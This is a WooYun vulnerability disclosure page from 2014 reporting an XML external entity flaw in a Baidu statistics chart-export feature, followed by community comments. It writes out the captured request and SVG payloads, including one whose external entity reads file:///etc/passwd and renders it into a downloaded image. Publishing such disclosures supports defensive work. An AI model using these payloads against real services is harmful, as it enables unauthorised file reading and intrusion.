当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058381

漏洞标题:百度某功能XML实体注入

相关厂商:百度

漏洞作者: gainover

提交时间:2014-04-25 10:26

修复时间:2014-06-09 10:27

公开时间:2014-06-09 10:27

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-25: 细节已通知厂商并且等待厂商处理中
2014-04-25: 厂商已经确认,细节仅向厂商公开
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

本来是测XSS的,结果捡个XXE。。

详细说明:

1. 站点是:http://tongji.baidu.com/data/mobile/brand,找到最下面,有一个下载图片的功能,点击【下载图片】并抓包,可以得到以下请求。

POST http://tongji.baidu.com/data/mobile/chart/save
st 1388505600000
et 1396195200000
reportId 300
format jpg
charts ["<svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\">..此处省略...</svg>"]


2. 可以看出该页面功能是,将用户输入的svg转换为对应的JPG图片。
3. 因为svg本身是基于xml,那么这里会不会存在xxe漏洞呢?
4. 先保守的试试是否支持 xml entity

["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test \"aaaaaaaaaaaaaaaa\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]


通过以下地址
http://tongji.baidu.com/data/download/?st=1393603200000&et=1396195200000&reportId=300&format=jpg&img=【save操作得到的文件名】&type=download
下载图片,得到:

_2014.03-2014.03.jpg


可以看到,xml entity 没问题。
5. 然后,我们试试external entity

["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]


恩,发现也是可以的,如下图:

_2014.03-2014.03 (1).jpg


6. 但是有一个比较恶心的问题,就是图片上显示不全。。。svg本身的text也不支持自动换行。怎么办呢?
这里我结合了 textPath 标签,自己来给图片画上很多条路径,然后让文本跟随这些路径,这样就可以自动换行了~~,像下面这样的:

xxe.jpg


7. 看看实际获取文件内容的效果,还不错吧~

xxe2.jpg


当然,我们也可以用ocr将文字从图片上自动识别出来。试了试pdf自带的,效果有点渣。

漏洞证明:

见详细说明

修复方案:

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-04-25 10:59

厂商回复:

感谢提交,我们会立即处理此问题。
--“百度,因你更安全”

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-25 10:27 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    给力呀

  2. 2014-04-25 10:27 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    前排出售花生瓜子矿泉水~~~

  3. 2014-04-25 10:28 | 啦绯哥 ( 普通白帽子 | Rank:107 漏洞数:20 )

    捡到一个沙发

  4. 2014-04-25 10:28 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    二哥你是黑客啊

  5. 2014-04-25 10:32 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    二哥你是黑客啊

  6. 2014-04-25 10:34 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    二哥 我请你去看演出好么

  7. 2014-04-25 10:36 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    二哥 我请你去看演出好么

  8. 2014-04-25 10:37 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    二哥 我请你去看演出好么

  9. 2014-04-25 10:38 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    捡个XXE。。

  10. 2014-04-25 10:38 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    二哥 你请我去看演出好么

  11. 2014-04-25 10:40 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    二哥我要为你生孩子~~

  12. 2014-04-25 10:53 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  13. 2014-04-25 11:13 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    二哥放大招了

  14. 2014-04-25 11:40 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    为了能跟二哥在一起,老婆孩子都可以不要了

  15. 2014-04-25 11:59 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    @小川 我擦~~川妹子你亮瞎了!!

  16. 2014-04-25 12:04 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    XXE是什么

  17. 2014-04-25 12:43 | 浅兮 ( 实习白帽子 | Rank:70 漏洞数:30 )

    XML实体注入貌似很牛逼的样子,教教我们吧!

  18. 2014-04-25 18:08 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    新名词!

  19. 2014-04-25 23:01 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    二哥 大招 加血么。。。二哥是 索拉 还是 琴女啊。

  20. 2014-04-27 08:11 | 小夜 ( 路人 | Rank:15 漏洞数:8 | 漫长的日子)

    目测是黑客 不解释哈哈

  21. 2014-04-28 21:02 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个...羞射高中生一枚。带上大神@Haswell...)

    围观二哥开大

  22. 2014-04-29 20:05 | qwerty ( 普通白帽子 | Rank:116 漏洞数:16 | 已注销)

    感觉乌云会有一大波XXE接近

  23. 2014-05-27 16:24 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    结合了 textPath 标签 是个好思路。洞主再深入一步极有可能拿到shell。

  24. 2014-05-27 17:43 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @梧桐雨 how

  25. 2014-05-27 18:59 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    二哥总是走在前面

  26. 2014-06-09 10:59 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    必须Mark3

  27. 2014-06-09 13:01 | dlevr ( 实习白帽子 | Rank:33 漏洞数:10 | 菜鸟一只,大神勿喷!)

    二哥 我请你去看演出好么

  28. 2014-06-09 15:52 | iskit ( 路人 | Rank:9 漏洞数:3 | 技术交流)

    这洞才给12分啊,,,,,

  29. 2014-06-25 09:51 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    佩服···

  30. 2014-09-11 18:42 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    XXE

  31. 2014-10-28 11:08 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @梧桐雨 怎么拿

  32. 2014-10-30 19:01 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    果然是javascript吧主!

  33. 2015-07-30 14:14 | sOnsec ( 实习白帽子 | Rank:93 漏洞数:24 | 安全是什么...)

    XXE。。我就想说,怎么找到的 -